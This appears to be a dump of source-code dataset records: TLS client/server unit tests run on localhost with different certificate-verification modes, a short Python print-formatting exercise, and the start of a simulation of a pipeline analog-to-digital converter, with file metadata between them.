beta to alpha\n") while True: beta.serviceConnect() alpha.serviceConnects() if beta.connected and len(alpha.ixes) >= 1: break time.sleep(0.01) self.assertIs(beta.accepted, True) self.assertIs(beta.connected, True) self.assertIs(beta.cutoff, False) self.assertEqual(beta.ca, beta.cs.getsockname()) self.assertEqual(beta.ha, beta.cs.getpeername()) self.assertIs(beta.connected, True) ixBeta = alpha.ixes[beta.ca] self.assertIsNotNone(ixBeta.ca) self.assertIsNotNone(ixBeta.cs) self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername()) self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname()) self.assertEqual(ixBeta.ca, beta.ca) self.assertEqual(ixBeta.ha, beta.ha) msgOut = b"Beta sends to Alpha\n" beta.tx(msgOut) while True: beta.serviceTxes() alpha.serviceReceivesAllIx() time.sleep(0.01) if not beta.txes and ixBeta.rxbs: break time.sleep(0.05) alpha.serviceReceivesAllIx() msgIn = bytes(ixBeta.rxbs) self.assertEqual(msgIn, msgOut) #index = len(ixBeta.rxbs) ixBeta.clearRxbs() msgOut = b'Alpha sends to Beta\n' ixBeta.tx(msgOut) while True: alpha.serviceTxesAllIx() beta.serviceReceives() time.sleep(0.01) if not ixBeta.txes and beta.rxbs: break msgIn = bytes(beta.rxbs) self.assertEqual(msgIn, msgOut) #index = len(beta.rxbs) beta.clearRxbs() alpha.close() beta.close() self.assertEqual(wireLogAlpha.getRx(), wireLogAlpha.getTx()) # since wlog is same self.assertTrue(b"Beta sends to Alpha\n" in wireLogAlpha.getRx()) self.assertTrue(b"Alpha sends to Beta\n" in wireLogAlpha.getRx()) self.assertEqual(wireLogBeta.getRx(), wireLogBeta.getTx()) # since wlog is same self.assertTrue(b"Beta sends to Alpha\n" in wireLogBeta.getRx()) self.assertTrue(b"Alpha sends to Beta\n" in wireLogBeta.getRx()) wireLogAlpha.close() wireLogBeta.close() console.reinit(verbosity=console.Wordage.concise) def testTLSConnectionVerifyNeither(self): """ Test TLS client server connection with neither verify certs """ try: import ssl except ImportError: return console.terse("{0}\n".format(self.testTLSConnectionVerifyNeither.__doc__)) console.reinit(verbosity=console.Wordage.profuse) wireLogAlpha = wiring.WireLog(buffify=True, same=True) result = wireLogAlpha.reopen() wireLogBeta = wiring.WireLog(buffify=True, same=True) result = wireLogBeta.reopen() #serverKeypath = '/etc/pki/tls/certs/server_key.pem' # local server private key #serverCertpath = '/etc/pki/tls/certs/server_cert.pem' # local server public cert #clientCafilepath = '/etc/pki/tls/certs/client.pem' # remote client public cert #clientKeypath = '/etc/pki/tls/certs/client_key.pem' # local client private key #clientCertpath = '/etc/pki/tls/certs/client_cert.pem' # local client public cert #serverCafilepath = '/etc/pki/tls/certs/server.pem' # remote server public cert serverKeypath = self.certdirpath + '/server_key.pem' # local server private key serverCertpath = self.certdirpath + '/server_cert.pem' # local server public cert clientCafilepath = self.certdirpath + '/client.pem' # remote client public cert clientKeypath = self.certdirpath + '/client_key.pem' # local client private key clientCertpath = self.certdirpath + '/client_cert.pem' # local client public cert serverCafilepath = self.certdirpath + '/server.pem' # remote server public cert alpha = serving.ServerTls(host='localhost', port = 6101, bufsize=131072, wlog=wireLogAlpha, context=None, version=None, certify=ssl.CERT_NONE, keypath=serverKeypath, certpath=serverCertpath, cafilepath=clientCafilepath, ) self.assertIs(alpha.reopen(), True) self.assertEqual(alpha.ha, ('127.0.0.1', 6101)) serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname beta = clienting.ClientTls(ha=alpha.ha, bufsize=131072, wlog=wireLogBeta, context=None, version=None, certify=ssl.CERT_NONE, hostify=False, certedhost=serverCertCommonName, keypath=clientKeypath, certpath=clientCertpath, cafilepath=serverCafilepath, ) self.assertIs(beta.reopen(), True) self.assertIs(beta.accepted, False) self.assertIs(beta.connected, False) self.assertIs(beta.cutoff, False) console.terse("Connecting and Handshaking beta to alpha\n") while True: beta.serviceConnect() alpha.serviceConnects() if beta.connected and len(alpha.ixes) >= 1: break time.sleep(0.01) self.assertIs(beta.accepted, True) self.assertIs(beta.connected, True) self.assertIs(beta.cutoff, False) self.assertEqual(beta.ca, beta.cs.getsockname()) self.assertEqual(beta.ha, beta.cs.getpeername()) self.assertIs(beta.connected, True) ixBeta = alpha.ixes[beta.ca] self.assertIsNotNone(ixBeta.ca) self.assertIsNotNone(ixBeta.cs) self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername()) self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname()) self.assertEqual(ixBeta.ca, beta.ca) self.assertEqual(ixBeta.ha, beta.ha) msgOut = b"Beta sends to Alpha\n" beta.tx(msgOut) while True: beta.serviceTxes() alpha.serviceReceivesAllIx() time.sleep(0.01) if not beta.txes and ixBeta.rxbs: break time.sleep(0.05) alpha.serviceReceivesAllIx() msgIn = bytes(ixBeta.rxbs) self.assertEqual(msgIn, msgOut) #index = len(ixBeta.rxbs) ixBeta.clearRxbs() msgOut = b'Alpha sends to Beta\n' ixBeta.tx(msgOut) while True: alpha.serviceTxesAllIx() beta.serviceReceives() time.sleep(0.01) if not ixBeta.txes and beta.rxbs: break msgIn = bytes(beta.rxbs) self.assertEqual(msgIn, msgOut) #index = len(beta.rxbs) beta.clearRxbs() alpha.close() beta.close() self.assertEqual(wireLogAlpha.getRx(), wireLogAlpha.getTx()) # since wlog is same self.assertTrue(b"Beta sends to Alpha\n" in wireLogAlpha.getRx()) self.assertTrue(b"Alpha sends to Beta\n" in wireLogAlpha.getRx()) self.assertEqual(wireLogBeta.getRx(), wireLogBeta.getTx()) # since wlog is same self.assertTrue(b"Beta sends to Alpha\n" in wireLogBeta.getRx()) self.assertTrue(b"Alpha sends to Beta\n" in wireLogBeta.getRx()) wireLogAlpha.close() wireLogBeta.close() console.reinit(verbosity=console.Wordage.concise) def testTLSConnectionClientVerifyServerCert(self): """ Test TLS client server connection with neither verify certs """ try: import ssl except ImportError: return console.terse("{0}\n".format(self.testTLSConnectionClientVerifyServerCert.__doc__)) console.reinit(verbosity=console.Wordage.profuse) wireLogAlpha = wiring.WireLog(buffify=True, same=True) result = wireLogAlpha.reopen() wireLogBeta = wiring.WireLog(buffify=True, same=True) result = wireLogBeta.reopen() serverKeypath = os.path.join(self.certdirpath, 'server_key.pem') # local server private key serverCertpath = os.path.join(self.certdirpath, 'server_cert.pem') # local server public cert clientCafilepath = os.path.join(self.certdirpath, 'client.pem') # remote client public cert clientKeypath = os.path.join(self.certdirpath, 'client_key.pem') # local client private key clientCertpath = os.path.join(self.certdirpath, 'client_cert.pem') # local client public cert serverCafilepath = os.path.join(self.certdirpath, 'server.pem') # remote server public cert alpha = serving.ServerTls(host='localhost', port = 6101, bufsize=131072, wlog=wireLogAlpha, context=None, version=None, certify=ssl.CERT_NONE, keypath=serverKeypath, certpath=serverCertpath, cafilepath=clientCafilepath, ) self.assertIs(alpha.reopen(), True) self.assertEqual(alpha.ha, ('127.0.0.1', 6101)) serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname beta = clienting.ClientTls(ha=alpha.ha, bufsize=131072, wlog=wireLogBeta, context=None, version=None, certify=ssl.CERT_REQUIRED, hostify=True, certedhost=serverCertCommonName, keypath=clientKeypath, certpath=clientCertpath, cafilepath=serverCafilepath, ) self.assertIs(beta.reopen(), True) self.assertIs(beta.accepted, False) self.assertIs(beta.connected, False) self.assertIs(beta.cutoff, False) console.terse("Connecting and Handshaking beta to alpha\n") while True: beta.serviceConnect() alpha.serviceConnects() if beta.connected and len(alpha.ixes) >= 1: break time.sleep(0.01) self.assertIs(beta.accepted, True) self.assertIs(beta.connected, True) self.assertIs(beta.cutoff, False) self.assertEqual(beta.ca, beta.cs.getsockname()) self.assertEqual(beta.ha, beta.cs.getpeername()) self.assertIs(beta.connected, True) ixBeta = alpha.ixes[beta.ca] self.assertIsNotNone(ixBeta.ca) self.assertIsNotNone(ixBeta.cs) self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername()) self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname()) self.assertEqual(ixBeta.ca, beta.ca) self.assertEqual(ixBeta.ha, beta.ha) msgOut = b"Beta sends to Alpha\n" beta.tx(msgOut) while True: beta.serviceTxes() alpha.serviceReceivesAllIx() time.sleep(0.01) if not beta.txes and ixBeta.rxbs: break time.sleep(0.05) alpha.serviceReceivesAllIx() msgIn = bytes(ixBeta.rxbs) self.assertEqual(msgIn, msgOut) #index = len(ixBeta.rxbs) ixBeta.clearRxbs() msgOut = b'Alpha sends to Beta\n' ixBeta.tx(msgOut) while True: alpha.serviceTxesAllIx() beta.serviceReceives() time.sleep(0.01) if not ixBeta.txes and beta.rxbs: break msgIn = bytes(beta.rxbs) self.assertEqual(msgIn, msgOut) #index = len(beta.rxbs) beta.clearRxbs() alpha.close() beta.close() self.assertEqual(wireLogAlpha.getRx(), wireLogAlpha.getTx()) # since wlog is same self.assertTrue(b"Beta sends to Alpha\n" in wireLogAlpha.getRx()) self.assertTrue(b"Alpha sends to Beta\n" in wireLogAlpha.getRx()) self.assertEqual(wireLogBeta.getRx(), wireLogBeta.getTx()) # since wlog is same self.assertTrue(b"Beta sends to Alpha\n" in wireLogBeta.getRx()) self.assertTrue(b"Alpha sends to Beta\n" in wireLogBeta.getRx()) wireLogAlpha.close() wireLogBeta.close() console.reinit(verbosity=console.Wordage.concise) def testTLSConnectionServerVerifyClientCert(self): """ Test TLS client server connection with neither verify certs """ try: import ssl except ImportError: return console.terse("{0}\n".format(self.testTLSConnectionServerVerifyClientCert.__doc__)) console.reinit(verbosity=console.Wordage.profuse) wireLogAlpha = wiring.WireLog(buffify=True, same=True) result = wireLogAlpha.reopen() wireLogBeta = wiring.WireLog(buffify=True, same=True) result = wireLogBeta.reopen() serverKeypath = os.path.join(self.certdirpath, 'server_key.pem') # local server private key serverCertpath = os.path.join(self.certdirpath, 'server_cert.pem') # local server public cert clientCafilepath = os.path.join(self.certdirpath, 'client.pem') # remote client public cert clientKeypath = os.path.join(self.certdirpath, 'client_key.pem') # local client private key clientCertpath = os.path.join(self.certdirpath, 'client_cert.pem') # local client public cert serverCafilepath = os.path.join(self.certdirpath, 'server.pem') # remote server public cert alpha = serving.ServerTls(host='localhost', port = 6101, bufsize=131072, wlog=wireLogAlpha, context=None, version=None, certify=ssl.CERT_REQUIRED, keypath=serverKeypath, certpath=serverCertpath, cafilepath=clientCafilepath, ) self.assertIs(alpha.reopen(), True) self.assertEqual(alpha.ha, ('127.0.0.1', 6101)) serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname beta = clienting.ClientTls(ha=alpha.ha, bufsize=131072, wlog=wireLogBeta, context=None, version=None, certify=ssl.CERT_NONE, hostify=False, certedhost=serverCertCommonName, keypath=clientKeypath, certpath=clientCertpath, cafilepath=serverCafilepath, ) self.assertIs(beta.reopen(), True) self.assertIs(beta.accepted, False) self.assertIs(beta.connected, False) self.assertIs(beta.cutoff, False) console.terse("Connecting and Handshaking beta to alpha\n") while True: beta.serviceConnect() alpha.serviceConnects() if beta.connected and len(alpha.ixes) >= 1: break time.sleep(0.01) self.assertIs(beta.accepted, True) self.assertIs(beta.connected, True) self.assertIs(beta.cutoff, False) self.assertEqual(beta.ca, beta.cs.getsockname()) self.assertEqual(beta.ha, beta.cs.getpeername()) self.assertIs(beta.connected, True) ixBeta = alpha.ixes[beta.ca] self.assertIsNotNone(ixBeta.ca) self.assertIsNotNone(ixBeta.cs) self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername()) self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname()) self.assertEqual(ixBeta.ca, beta.ca) self.assertEqual(ixBeta.ha, beta.ha) msgOut = b"Beta sends to Alpha\n" beta.tx(msgOut) while True: beta.serviceTxes() alpha.serviceReceivesAllIx() time.sleep(0.01) if not beta.txes and ixBeta.rxbs: break time.sleep(0.05) alpha.serviceReceivesAllIx() msgIn = bytes(ixBeta.rxbs) self.assertEqual(msgIn, msgOut) #index = len(ixBeta.rxbs) ixBeta.clearRxbs() msgOut = b'Alpha sends to Beta\n' ixBeta.tx(msgOut) while True: alpha.serviceTxesAllIx() beta.serviceReceives() time.sleep(0.01) if not ixBeta.txes and beta.rxbs: break msgIn = bytes(beta.rxbs) self.assertEqual(msgIn, msgOut) #index = len(beta.rxbs) beta.clearRxbs() alpha.close() beta.close() self.assertEqual(wireLogAlpha.getRx(), wireLogAlpha.getTx()) # since wlog is same self.assertTrue(b"Beta sends to Alpha\n" in wireLogAlpha.getRx()) self.assertTrue(b"Alpha sends to Beta\n" in wireLogAlpha.getRx()) self.assertEqual(wireLogBeta.getRx(), wireLogBeta.getTx()) # since wlog is same self.assertTrue(b"Beta sends to Alpha\n" in wireLogBeta.getRx()) self.assertTrue(b"Alpha sends to Beta\n" in wireLogBeta.getRx()) wireLogAlpha.close() wireLogBeta.close() console.reinit(verbosity=console.Wordage.concise) def testTLSConnectionVerifyBoth(self): """ Test TLS client server connection with neither verify certs """ try: import ssl except ImportError: return console.terse("{0}\n".format(self.testTLSConnectionVerifyBoth.__doc__)) console.reinit(verbosity=console.Wordage.profuse) wireLogAlpha = wiring.WireLog(buffify=True, same=True) result = wireLogAlpha.reopen() wireLogBeta = wiring.WireLog(buffify=True, same=True) result = wireLogBeta.reopen() serverKeypath = os.path.join(self.certdirpath, 'server_key.pem') # local server private key serverCertpath = os.path.join(self.certdirpath, 'server_cert.pem') # local server public cert clientCafilepath = os.path.join(self.certdirpath, 'client.pem') # remote client public cert clientKeypath = os.path.join(self.certdirpath, 'client_key.pem') # local client private key clientCertpath = os.path.join(self.certdirpath, 'client_cert.pem') # local client public cert serverCafilepath = os.path.join(self.certdirpath, 'server.pem') # remote server public cert alpha = serving.ServerTls(host='localhost', port = 6101, bufsize=131072, wlog=wireLogAlpha, context=None, version=None, certify=ssl.CERT_REQUIRED, keypath=serverKeypath, certpath=serverCertpath, cafilepath=clientCafilepath, ) self.assertIs(alpha.reopen(), True) self.assertEqual(alpha.ha, ('127.0.0.1', 6101)) serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname beta = clienting.ClientTls(ha=alpha.ha, bufsize=131072, wlog=wireLogBeta, context=None, version=None, certify=ssl.CERT_REQUIRED, hostify=True, certedhost=serverCertCommonName, keypath=clientKeypath, certpath=clientCertpath, cafilepath=serverCafilepath, ) self.assertIs(beta.reopen(), True) self.assertIs(beta.accepted, False) self.assertIs(beta.connected, False) self.assertIs(beta.cutoff, False) console.terse("Connecting and Handshaking beta to alpha\n") while True: beta.serviceConnect() alpha.serviceConnects() if beta.connected and len(alpha.ixes) >= 1: break time.sleep(0.01) self.assertIs(beta.accepted, True) self.assertIs(beta.connected, True) self.assertIs(beta.cutoff, False) self.assertEqual(beta.ca, beta.cs.getsockname()) self.assertEqual(beta.ha, beta.cs.getpeername()) self.assertIs(beta.connected, True) ixBeta = alpha.ixes[beta.ca] self.assertIsNotNone(ixBeta.ca) self.assertIsNotNone(ixBeta.cs) self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername()) self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname()) self.assertEqual(ixBeta.ca, beta.ca) self.assertEqual(ixBeta.ha, beta.ha) msgOut = b"Beta sends to Alpha\n" beta.tx(msgOut) while True: beta.serviceTxes() alpha.serviceReceivesAllIx() time.sleep(0.01) if not beta.txes and ixBeta.rxbs: break time.sleep(0.05) alpha.serviceReceivesAllIx() msgIn = bytes(ixBeta.rxbs) self.assertEqual(msgIn, msgOut) #index = len(ixBeta.rxbs) ixBeta.clearRxbs() msgOut = b'Alpha sends to Beta\n' ixBeta.tx(msgOut) while True: alpha.serviceTxesAllIx() beta.serviceReceives() time.sleep(0.01) if not ixBeta.txes and beta.rxbs: break msgIn = bytes(beta.rxbs) self.assertEqual(msgIn, msgOut) #index = len(beta.rxbs) beta.clearRxbs() alpha.close() beta.close() self.assertEqual(wireLogAlpha.getRx(), wireLogAlpha.getTx()) # since wlog is same self.assertTrue(b"Beta sends to Alpha\n" in wireLogAlpha.getRx()) self.assertTrue(b"Alpha sends to Beta\n" in wireLogAlpha.getRx()) self.assertEqual(wireLogBeta.getRx(), wireLogBeta.getTx()) # since wlog is same self.assertTrue(b"Beta sends to Alpha\n" in wireLogBeta.getRx()) self.assertTrue(b"Alpha sends to Beta\n" in wireLogBeta.getRx()) wireLogAlpha.close() wireLogBeta.close() console.reinit(verbosity=console.Wordage.concise) def testTLSConnectionVerifyBothTLSv1(self): """ Test TLS client server connection with neither verify certs """ try: import ssl except ImportError: return console.terse("{0}\n".format(self.testTLSConnectionVerifyBothTLSv1.__doc__)) console.reinit(verbosity=console.Wordage.profuse) wireLogAlpha = wiring.WireLog(buffify=True, same=True) result = wireLogAlpha.reopen() wireLogBeta = wiring.WireLog(buffify=True, same=True) result = wireLogBeta.reopen() serverKeypath = os.path.join(self.certdirpath, 'server_key.pem') # local server private key serverCertpath = os.path.join(self.certdirpath, 'server_cert.pem') # local server public cert clientCafilepath = os.path.join(self.certdirpath, 'client.pem') # remote client public cert clientKeypath = os.path.join(self.certdirpath, 'client_key.pem') # local client private key clientCertpath = os.path.join(self.certdirpath, 'client_cert.pem') # local client public cert serverCafilepath = os.path.join(self.certdirpath, 'server.pem') # remote server public cert alpha = serving.ServerTls(host='localhost', port = 6101, bufsize=131072, wlog=wireLogAlpha, context=None, version=ssl.PROTOCOL_TLSv1, certify=ssl.CERT_REQUIRED, keypath=serverKeypath, certpath=serverCertpath, cafilepath=clientCafilepath, ) self.assertIs(alpha.reopen(), True) self.assertEqual(alpha.ha, ('127.0.0.1', 6101)) serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname beta = clienting.ClientTls(ha=alpha.ha, bufsize=131072, wlog=wireLogBeta, context=None, version=ssl.PROTOCOL_TLSv1, certify=ssl.CERT_REQUIRED, hostify=True, certedhost=serverCertCommonName, keypath=clientKeypath, certpath=clientCertpath, cafilepath=serverCafilepath, ) self.assertIs(beta.reopen(), True) self.assertIs(beta.accepted, False) self.assertIs(beta.connected, False) self.assertIs(beta.cutoff, False) console.terse("Connecting and Handshaking beta to alpha\n") while True: beta.serviceConnect() alpha.serviceConnects() if beta.connected and len(alpha.ixes) >= 1: break time.sleep(0.01) self.assertIs(beta.accepted, True) self.assertIs(beta.connected, True) self.assertIs(beta.cutoff, False) self.assertEqual(beta.ca, beta.cs.getsockname()) self.assertEqual(beta.ha, beta.cs.getpeername()) self.assertIs(beta.connected, True) ixBeta = alpha.ixes[beta.ca] self.assertIsNotNone(ixBeta.ca) self.assertIsNotNone(ixBeta.cs) self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername()) self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname()) self.assertEqual(ixBeta.ca, beta.ca) self.assertEqual(ixBeta.ha, beta.ha) msgOut = b"Beta sends to Alpha\n" beta.tx(msgOut) while True: beta.serviceTxes() alpha.serviceReceivesAllIx() time.sleep(0.01) if not beta.txes and ixBeta.rxbs: break time.sleep(0.05) alpha.serviceReceivesAllIx() msgIn = bytes(ixBeta.rxbs) self.assertEqual(msgIn, msgOut) #index = len(ixBeta.rxbs) ixBeta.clearRxbs() msgOut = b'Alpha sends to Beta\n' ixBeta.tx(msgOut) while True: alpha.serviceTxesAllIx() beta.serviceReceives() time.sleep(0.01) if not ixBeta.txes and beta.rxbs: break msgIn = bytes(beta.rxbs) self.assertEqual(msgIn, msgOut) #index = len(beta.rxbs) beta.clearRxbs() alpha.close() beta.close() self.assertEqual(wireLogAlpha.getRx(), wireLogAlpha.getTx()) # since wlog is same self.assertTrue(b"Beta sends to Alpha\n" in wireLogAlpha.getRx()) self.assertTrue(b"Alpha sends to Beta\n" in wireLogAlpha.getRx()) self.assertEqual(wireLogBeta.getRx(), wireLogBeta.getTx()) # since wlog is same self.assertTrue(b"Beta sends to Alpha\n" in wireLogBeta.getRx()) self.assertTrue(b"Alpha sends to Beta\n" in wireLogBeta.getRx()) wireLogAlpha.close() wireLogBeta.close() console.reinit(verbosity=console.Wordage.concise) def testTLSConnectionVerifyBothTLS(self): """ Test TLS client server connection with neither verify certs """ try: import ssl except ImportError: return console.terse("{0}\n".format(self.testTLSConnectionVerifyBothTLSv1.__doc__)) console.reinit(verbosity=console.Wordage.profuse) wireLogAlpha = wiring.WireLog(buffify=True, same=True) result = wireLogAlpha.reopen() wireLogBeta = wiring.WireLog(buffify=True, same=True) result = wireLogBeta.reopen() serverKeypath = os.path.join(self.certdirpath, 'server_key.pem') # local server private key serverCertpath = os.path.join(self.certdirpath, 'server_cert.pem') # local server public cert clientCafilepath = os.path.join(self.certdirpath, 'client.pem') # remote client public cert clientKeypath = os.path.join(self.certdirpath, 'client_key.pem') # local client private key clientCertpath = os.path.join(self.certdirpath, 'client_cert.pem') # local client public cert serverCafilepath = os.path.join(self.certdirpath, 'server.pem') # remote server public cert alpha = serving.ServerTls(host='localhost', port = 6101, bufsize=131072, wlog=wireLogAlpha, context=None, version=ssl.PROTOCOL_TLS, certify=ssl.CERT_REQUIRED, keypath=serverKeypath, certpath=serverCertpath, cafilepath=clientCafilepath, ) self.assertIs(alpha.reopen(), True) self.assertEqual(alpha.ha, ('127.0.0.1', 6101)) serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname beta = clienting.ClientTls(ha=alpha.ha, bufsize=131072, wlog=wireLogBeta, context=None, version=ssl.PROTOCOL_TLS, certify=ssl.CERT_REQUIRED, hostify=True, certedhost=serverCertCommonName, keypath=clientKeypath, certpath=clientCertpath, cafilepath=serverCafilepath, ) self.assertIs(beta.reopen(), True) self.assertIs(beta.accepted, False) self.assertIs(beta.connected, False) self.assertIs(beta.cutoff, False) console.terse("Connecting and Handshaking beta to alpha\n") while True: beta.serviceConnect() alpha.serviceConnects() if beta.connected and len(alpha.ixes) >= 1: break time.sleep(0.01) self.assertIs(beta.accepted, True) self.assertIs(beta.connected, True) self.assertIs(beta.cutoff, False) self.assertEqual(beta.ca, beta.cs.getsockname()) self.assertEqual(beta.ha, beta.cs.getpeername()) self.assertIs(beta.connected, True) ixBeta = alpha.ixes[beta.ca] self.assertIsNotNone(ixBeta.ca) self.assertIsNotNone(ixBeta.cs) self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername()) self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname()) self.assertEqual(ixBeta.ca, beta.ca) self.assertEqual(ixBeta.ha, beta.ha) msgOut = b"Beta sends to Alpha\n" beta.tx(msgOut) while True: beta.serviceTxes() alpha.serviceReceivesAllIx() time.sleep(0.01) if not beta.txes and ixBeta.rxbs: break time.sleep(0.05) alpha.serviceReceivesAllIx() msgIn = bytes(ixBeta.rxbs) self.assertEqual(msgIn, msgOut) #index = len(ixBeta.rxbs) ixBeta.clearRxbs() msgOut = b'Alpha sends to Beta\n' ixBeta.tx(msgOut) while True: alpha.serviceTxesAllIx() beta.serviceReceives() time.sleep(0.01) if not ixBeta.txes and beta.rxbs: break msgIn = bytes(beta.rxbs) self.assertEqual(msgIn, msgOut) #index = len(beta.rxbs) beta.clearRxbs() alpha.close() beta.close() self.assertEqual(wireLogAlpha.getRx(), wireLogAlpha.getTx()) # since wlog is same self.assertTrue(b"Beta sends to Alpha\n" in wireLogAlpha.getRx()) self.assertTrue(b"Alpha sends to Beta\n" in wireLogAlpha.getRx()) self.assertEqual(wireLogBeta.getRx(), wireLogBeta.getTx()) # since wlog is same self.assertTrue(b"Beta sends to Alpha\n" in wireLogBeta.getRx()) self.assertTrue(b"Alpha sends to Beta\n" in wireLogBeta.getRx()) wireLogAlpha.close() wireLogBeta.close() console.reinit(verbosity=console.Wordage.concise) def runOne(test): ''' Unittest Runner ''' test = BasicTestCase(test) suite = unittest.TestSuite([test]) unittest.TextTestRunner(verbosity=2).run(suite) def runSome(): """ Unittest runner """ tests = [] names = [ 'testTcpClientServer', 'testTcpClientServerServiceCat', 'testTcpClientServerService', 'testClientAutoReconnect', 'testTLSConnectionDefault', 'testTLSConnectionVerifyNeither', 'testTLSConnectionClientVerifyServerCert', 'testTLSConnectionServerVerifyClientCert', 'testTLSConnectionVerifyBoth', 'testTLSConnectionVerifyBothTLSv1', 'testTLSConnectionVerifyBothTLS', ] tests.extend(map(BasicTestCase, names)) suite = unittest.TestSuite(tests) unittest.TextTestRunner(verbosity=2).run(suite) def runAll(): """ Unittest runner """ suite = unittest.TestSuite() suite.addTest(unittest.TestLoader().loadTestsFromTestCase(BasicTestCase)) unittest.TextTestRunner(verbosity=2).run(suite) if __name__ == '__main__' and __package__ is None: #console.reinit(verbosity=console.Wordage.concise) #runAll() #run all unittests runSome()#only run some #runOne('testClientAutoReconnect') #runOne('testTLSConnectionVerifyBothTLS')
37.445803
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0.044529
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0.919419
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0.883928
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0.864885
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0.830647
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0.004827
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0.292507
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0.012968
false
0.00072
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0
0
7
f795e2ec5fe1b0dbd9beac790e61030b6b115c3b
163
py
Python
Python/print_practice.py
Bozmenn/Patika
e3432a2398197412cbc1b44a786d10553cdf8abc
[ "MIT" ]
null
null
null
Python/print_practice.py
Bozmenn/Patika
e3432a2398197412cbc1b44a786d10553cdf8abc
[ "MIT" ]
null
null
null
Python/print_practice.py
Bozmenn/Patika
e3432a2398197412cbc1b44a786d10553cdf8abc
[ "MIT" ]
null
null
null
print(" +",*"+"*6,sep="---") print("",*"Python", sep=" | ",end=" |\n") print(" +",*"+"*6,sep="---") print(" 0",*"123456",sep=" ") print("-6",*"54321",sep=" -")
32.6
41
0.398773
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163
3.421053
0.473684
0.276923
0.276923
0.430769
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0
0
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0.10274
0.104294
163
5
42
32.6
0.342466
0
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0.4
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8
f7984d4af11c0fbe68c524c074d728a8ddec39f2
15,756
py
Python
mxst/pipeline_EXAM.py
mnemocron/FHNW
e43c298cb9c8f617fa19b77dd6630a342c78bda7
[ "Unlicense" ]
1
2020-10-07T07:28:33.000Z
2020-10-07T07:28:33.000Z
mxst/pipeline_EXAM.py
mnemocron/FHNW
e43c298cb9c8f617fa19b77dd6630a342c78bda7
[ "Unlicense" ]
null
null
null
mxst/pipeline_EXAM.py
mnemocron/FHNW
e43c298cb9c8f617fa19b77dd6630a342c78bda7
[ "Unlicense" ]
1
2021-01-17T16:38:58.000Z
2021-01-17T16:38:58.000Z
# -*- coding: utf-8 -*- """ Created on Mon Jun 29 08:58:00 2020 @author: simon SEE EXAM in the SECTION BELOW """ #%% import sympy as sp import numpy as np import matplotlib.pyplot as plt # Quantizer # quant(0.111, [-0.125, 0.125]) ==> 1 out of range[0, 1, 2] # returns value in range [0 to n+1] where n = len(references) def quant(x, thresholds): t = np.concatenate( ( thresholds, [1e10] ) ) r = min( [(idx,val) for (idx,val) in enumerate(t) if val>x] )[0] return r # MDAC # mdac(0.123, [-0.125, 0.125], [-0.25, 0, 0.25], 2) ==> [1, 0.246] # # thresholds => for quantizer # reference => for DAC def mdac(x, thresholds, references, gain): # The MDAC first uses a quantizer to determine the region. r = quant(x,thresholds) y = ( x - references[r] ) * gain return [r,y] # pipeline ADC def pipeA(x, Nstage): re15 = np.arange( -1/4, 1/4+0.01, 1/4 ) th15 = np.convolve( re15, np.array([1/2,1/2]) )[1:-1] ga15 = 2 xs = np.zeros(Nstage) xs[0] = x rs = np.zeros(Nstage) cumgain = 1 # All but the last stage are 1.5-bit-stages: for k in np.arange(Nstage-1): # Use the appropriate MDAC: [rs[k],xs[k+1]] = mdac(xs[k],th15,re15,ga15) # The cumulative gain is multiplied by the gain of the stage: cumgain *= 2 # The region is then scaled by 1/cumgain; therefore the first stage # just ouputs its region number divided by its gain. rs[k] = rs[k]/cumgain # The last stage is a normal 1-bit stage with a gain of 1 k=Nstage-1 rs[k] = quant(xs[k],[0]) cumgain = cumgain*1 rs[k] = rs[k]/cumgain # The output of the ADC is the sum of all region numbers, but if we want # integers, they need to be scaled back by cumgain. b = np.sum(rs)*cumgain return b # 1.5 Bit def pipeAnonid(x, Nstage): # This is the same as pipeA, but with an incorrect gain and a shifted # reference: re15 = np.arange( -1/4, 1/4+0.01, 1/4 ) th15 = np.convolve( re15, np.array([1/2,1/2]) )[1:-1] # ------ INPUT HERE ------ ga15 = 1.98 re15[0] = re15[0]-0.01 # ------ xs = np.zeros(Nstage) xs[0] = x rs = np.zeros(Nstage) cumgain = 1 for k in np.arange(Nstage-1): [rs[k],xs[k+1]] = mdac(xs[k],th15,re15,ga15) cumgain *= 2 rs[k] = rs[k]/cumgain # last stage k=Nstage-1 rs[k] = quant(xs[k],[0]) cumgain = cumgain*1 rs[k] = rs[k]/cumgain # output scale b = np.sum(rs)*cumgain return b # 1.5 Bit def pipe1721(x,Nstage): # This is the ADC from Fig. 17.21 in the textbook; the only difference is that # the last stage is a two-bit quantizer re15 = np.arange( -1/4, 1/4+0.01, 1/4 ) th15 = np.convolve( re15, np.array([1/2,1/2]) )[1:-1] ga15 = 2 xs = np.zeros(Nstage) xs[0] = x rs = np.zeros(Nstage) cumgain = 1 for k in np.arange(Nstage-1): [rs[k],xs[k+1]] = mdac(xs[k],th15,re15,ga15) cumgain *= 2 rs[k] = rs[k]/cumgain k=Nstage-1 # The last stage is a two-bit stage. # This two-bit stage needs to have one threshold at 0! # Being a two-bit stage, it implicitly has a gain of 2 rs[k] = quant(xs[k],[-0.5,0,0.5]) cumgain = cumgain*2 rs[k] = rs[k]/cumgain # output scale b = np.sum(rs)*cumgain return b # 1.5 Bit - Nonideal def pipe1721nonid(x,Nstage): # This is the ADC from Fig. 17.21 in the textbook; the only difference is that # the last stage is a two-bit quantizer re15 = np.arange( -1/4, 1/4+0.01, 1/4 ) th15 = np.convolve( re15, np.array([1/2,1/2]) )[1:-1] # ------ INPUT HERE ------ ga15 = 1.98 re15[0] = re15[0]-0.01 # ------ xs = 